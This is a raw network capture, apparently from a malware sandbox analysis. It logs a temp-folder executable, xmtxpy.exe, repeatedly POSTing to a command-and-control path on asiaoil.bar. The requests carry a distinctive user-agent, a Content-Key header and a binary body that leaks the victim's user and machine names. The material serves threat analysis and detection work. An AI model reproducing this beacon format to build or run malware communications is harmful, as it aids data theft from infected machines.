Feb 10, 2022 10:22:49.900198936 CET	389	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:49.916532040 CET	389	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:50.045497894 CET	390	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sfchENBNL5Aam3jQilD1C%2BA7X%2BWklnynb2xLSVS2hPjR0y3qmNn6hmUtwb8IQB8oZoMl23JHAHV2q0I12pykgsoVoLNPvb6k5VdZyObk9ltGFYeKlP7GBpYhUI6%2BpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44675ef0390ee-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49210	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:51.041532993 CET	391	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:51.057890892 CET	391	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:51.130028963 CET	392	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4Tlu5Y7AoBorQeMU0%2B32D%2BTFyCDvUY1OQkVB8rypJEdhrQ%2Fenzeu1n%2FT9n9uSqWWX9J%2BfmRJVbTKpt0De%2B5ne1ly1J723TtCWodVcJOhHfjabsPPmaz0oqCOHEICNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4467d0fb492c5-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49211	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:52.063119888 CET	392	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:52.079380035 CET	393	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:52.182354927 CET	393	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FqldRdslDF9crV%2Bk4ngGcH%2B5VotqLHwZM1hgM1UlLzVHOK203cYnXP5jYPCyykRHqAUueXlxKMSBzyNAjlM%2Fvqw8Nwi0ss%2FzYQhSE9EUH9wjaK0hKyn3kcN4463E9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446836b79922b-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49212	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:53.153614998 CET	394	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:53.170088053 CET	394	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:53.252991915 CET	395	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yBS7%2BxqKYn8UXFWYtCxhAQUq3wICMu07YMkjyXgzMiD7WnMo34wuo3JBZQt3f%2FvhAz73H9wPdN018HSvgXnDpUBiOvoVzzkvgWsPGM8s4%2F62axP9o7SVvlxiAsFAoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4468a3cbe8fc8-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49213	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:54.210618019 CET	396	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:54.227287054 CET	396	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:54.306786060 CET	397	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K0AcT1bifDuMhi7ufsGdy3ZWrMEsl7Ml0%2BBsoYKk1Le07SGb1K3vfiYvudRQACEJNwZd7L%2BjjiNvFHdUhY8ZVQ%2FCWgWD2crnmZAbKNk%2BQ47TcQ8b%2FoLYdTuy2B3gQQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44690dd409094-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49214	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:55.222618103 CET	398	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:55.239134073 CET	398	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:55.306236029 CET	399	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2b3lnzs0K50M9KlApGlxtS1%2FGBbpcngBLWZrh0QHIPyWMt9R51HhBbpbNzNiN2fgnCx%2F6Ol9cv3FYjGdC9Z4%2Ff%2B7v%2FeKPnRbogo3FCV4owbNiUoY5%2BcPZ%2FGa%2BNALAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446972bed9091-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49170	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:05.958935022 CET	319	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:05.975214958 CET	320	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:06.048285007 CET	320	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FkwECIztonU5sKraKeo0SBfQsbzTNEo9c%2Fgv1LcFjyGRwr%2BO5HxPKVAbUysSrtRDLw4YSAITjFTpY93Ba0oLX8DHultt24WrAHZv82zviiHQIIiLmBXtIoOyR3vI7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44563480c9225-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49215	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:56.235039949 CET	400	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:56.251535892 CET	400	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:56.328077078 CET	400	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lLUedeVgcznC2S%2FUOpbd3fV7v3cGuLCjsT%2FMbiJAVwvVHvZbCBonSZeAGG5JhojOiJyGydHeh3PL5Tp9nmU4EBUX2wVPhLZEEPBr7kenjFn1%2BoSu1sUFZrFUzTyPOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4469d8ada926e-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49216	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:57.354640007 CET	401	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:57.370970011 CET	402	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:57.520679951 CET	402	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pP7Hm%2FZYo7nBNCdlCm%2B6iCgzILR5XUlKf4GwH1GgSKX5qjvCOl3q7%2FhYlNsVlCRNbRgfIjWoULsECCJWVGVm8TwlUOckIQOjjEp9dOME2g%2F3YvZInDvXJ3pNqXehHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446a48a19903d-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49217	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:58.437792063 CET	403	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:58.454149961 CET	403	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:58.535232067 CET	404	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B4Hpj5tBS1W25DrOmF70H9%2B7tI00TcoHrZ2vWxTGczWKIQtBUxqfhFCMGDZXE%2FiPTxLHEXRSNrcwpGvMMbC3NGIUBMWmkmFsI9cJLit7sz%2BX56ge756zUtFrYA%2Fn%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446ab4e2a9049-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49218	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:59.543742895 CET	405	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:59.559976101 CET	405	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:59.660451889 CET	406	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j%2BJFLdnSBYTENDu1tAbRmg3yPPpEafzaD1AIG2OO%2FT%2B%2FQqTuiDGTxzFlf9dnChU0IP%2BEp15Zkavznvg6v0hcTAYsTYetiP8tjAE8TcK4xJqEQeCFqj2PFKCcO8YbOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446b23dcd9241-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49219	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:00.557396889 CET	407	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:00.573935032 CET	407	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:00.711899996 CET	408	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rk9UBUg8rEXXmstTEerwpTwam6ReU4ftvK8vLG6DGGX39NP0Tj8xTjWk5qWPBqpC6tqrpuX%2FZqaa1n1qmYBhnF44n8KZVoyEqklrYO98Ih0UxdfXxgiW0okoqK2%2FCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446b88b306963-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49220	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:01.628313065 CET	408	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:01.648943901 CET	409	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:01.731878996 CET	409	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jtSZVRNhVan7fQu%2B%2BS3YF0dvuQRKfPnhQmljq7WJs%2Fj8JMEfpH8AMemLWNbqYw4tgA6v4NG3xTvYc3Z5%2FpGQb5ljWthkbv4uo%2FhbZQYC96NTyl%2B9dg2FM9CZdOcU%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446bf3ee59235-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49221	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:02.628099918 CET	410	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:02.645340919 CET	410	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:02.733601093 CET	411	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Lp2m%2FnL%2FD9YbbOQL75qiqY1QRie4l95Zh1%2F9JFc7ntQcAGF4IIGoKgD%2F4oPRxszoZK9oVvGOpnhqWzAxSgnH3OqLPGrbcPmuYuhePgMIcrCkD3ZE2%2Bku1MZOs6ktMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446c57aff90af-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49222	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:03.670597076 CET	412	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:03.686985970 CET	412	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:03.758486986 CET	413	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VTMZeN6TFXbag2y1OBliS7F8Ve1jWw99EUBWoXAAGITxys1b9P94l43Uq0a%2B%2Fvyd8PfkcQkVRk9vtaYxi3J9PRjAhKWq89oNOgEI8T7X4pa5jNQ6EzOTmt9dPn8AJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446cbfd179273-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49223	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:04.661405087 CET	414	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:04.677716017 CET	414	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
